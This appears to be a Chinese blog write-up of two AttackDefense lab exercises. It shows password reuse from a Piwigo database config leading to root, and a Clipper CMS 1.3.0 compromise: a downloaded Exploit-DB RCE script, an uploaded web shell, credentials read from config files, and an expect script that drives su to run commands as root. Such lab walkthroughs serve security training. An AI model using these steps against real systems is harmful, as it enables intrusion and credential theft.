在现实世界中,不会像在 AttackDefense
实验室中那样获得类似 shell
的界面,而是网站或其他某种面向最终用户的界面。然后,需要通过使用 0-day
或已知漏洞利用该应用程序来获得初步立足点,然后在系统上执行枚举。
在实验开始时,发现安装了 sudo
并且当前用户有权通过 sudo
管理 MySQL
服务而无需输入任何密码
在大多数情况下,如果 MySQL
正在运行,开发人员一定使用了 PHP
。根据经验,优秀的开发人员总是将数据库登录凭据存储在 database.php
、database.inc.php
、config.inc.php
或 config.php
中。但是这个案例和往常不一样。
但幸运的是有信息泄露,它正在服务“Piwigo – Php based photo gallery
”。在这种情况下,很容易找到默认的数据库配置。
所以从piwigo
本身的论坛上发现它把数据库配置存放在local/config/database.inc.php
database.inc.php
文件内容如下
<?php
$conf['dblayer'] = 'mysql';
$conf['db_base'] = 'piwigo';
$conf['db_user'] = 'root';
$conf['db_password'] = 'w3lc0m3t0adlabs';
$conf['db_host'] = 'localhost';$prefixeTable = 'piwigo_';
define('PHPWG_INSTALLED', true);
define('PWG_CHARSET', 'utf-8');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
?>
按照经验,用户不想记住他们的密码,所以他们选择一个困难的密码并在多个平台/系统上重复使用它。这也称为密码重用漏洞
因此,当尝试使用相同的 MySQL
密码以 root
用户身份登录时,它接受并生成了 root
用户 shell
这叫内部人员的威胁,必须教育和强制用户对不同平台使用不同的登录凭据。
在实验中,有一个 Web
应用Clipper CMS
,其登录凭据是 admin:password
登录后发现clipper cms
版本为1.3.0
,存在远程代码执行漏洞。可以在 exploitdb
上找到该漏洞 – https://www.exploit-db.com/exploits/38730
下载漏洞利用脚本并执行它。它会要求输入 cms
的路径,然后输入登录凭据
$ pwd
/tmp/exploit
$ wget https://www.exploit-db.com/download/38730 -qO exploit.py
$ ls -l
total 4
-rw-r--r-- 1 terabyte terabyte 3194 Aug 14 05:14 exploit.py
$ python exploit.py
usage: python exploit.py http://example.com/ClipperCMS/ admin admin
该脚本利用文件管理器中的一些漏洞并使用 htaccess
上传 shell
。成功执行后,它将文件 .htaccess
重命名为 ht.access
由于可以访问文件系统和任意命令,现在是枚举文件并查找配置文件以获取数据库登录凭据的时候了
在 /app/clipper/manager/includes/config.inc.php
中找到了以下内容
$database_type = 'mysqli';
$database_server = 'localhost';
$database_user = 'root';
$database_password = 'st4ytun3dL0tm0r3t0c0me';
$database_connection_charset = 'utf8';
$dbase = '`clipper`';
$table_prefix = 'clpr_';
由于所有命令都是通过 URL
查询参数执行的,并且没有 pty shell
,可以通过 netcat
获得反向连接或使用 expect
工具通过非交互界面与程序交互。
这是用来与 /bin/su
命令交互的脚本
#!/usr/bin/expect -f
log_user 0
set password [lindex $argv 0]
spawn /bin/su -c [lindex $argv 1]
expect "Password:"
send "$password\\r";
interact
使用printf
对文件内容进行url
编码。在服务器上,有效负载将按原样传递,PHP
解释器会自动为解码。这是为了防止破坏 URL
规则
现在使用 ./file <password> <command>
与 su
交互并以 root
身份执行命令。与之前的实验一样,系统也容易受到密码重用漏洞的影响
请点一下右下角的“在看”,谢谢!!
请点赞和转发,谢谢!!
暗号:547293